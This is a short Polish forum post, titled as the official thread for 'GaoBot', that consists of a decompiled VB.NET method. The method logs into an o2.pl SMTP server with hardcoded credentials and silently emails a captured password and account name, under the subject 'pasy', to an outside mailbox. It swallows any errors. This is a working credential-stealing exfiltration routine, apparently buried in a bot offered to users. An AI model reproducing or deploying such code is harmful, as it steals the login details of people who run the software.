Temat: [GaoBot] Oficjalny temat

Public Sub method_1()
    Dim client1 As SmtpClient
    Dim message1 As MailMessage

    client1 = New SmtpClient("poczta.o2.pl", 587)
    client1.Credentials = New NetworkCredential("[email protected]", "HASLOUKRYLEMALESATAMPASSY")
    message1 = New MailMessage()
    message1.From = New MailAddress("[email protected]")
    message1.To.Add(New MailAddress("[email protected]"))
    message1.Subject = "pasy"
    message1.Body = "Password:" + Class22.smethod_23() + ", Account:" + Class22.smethod_24()
    Try
        client1.Send(message1)
        GoTo Label_0091
    Catch (exception1 As Exception)
        ProjectData.SetProjectError(exception1)
        ProjectData.ClearProjectError()
        GoTo Label_0091
    End Try
Label_0091:
    Return

End Sub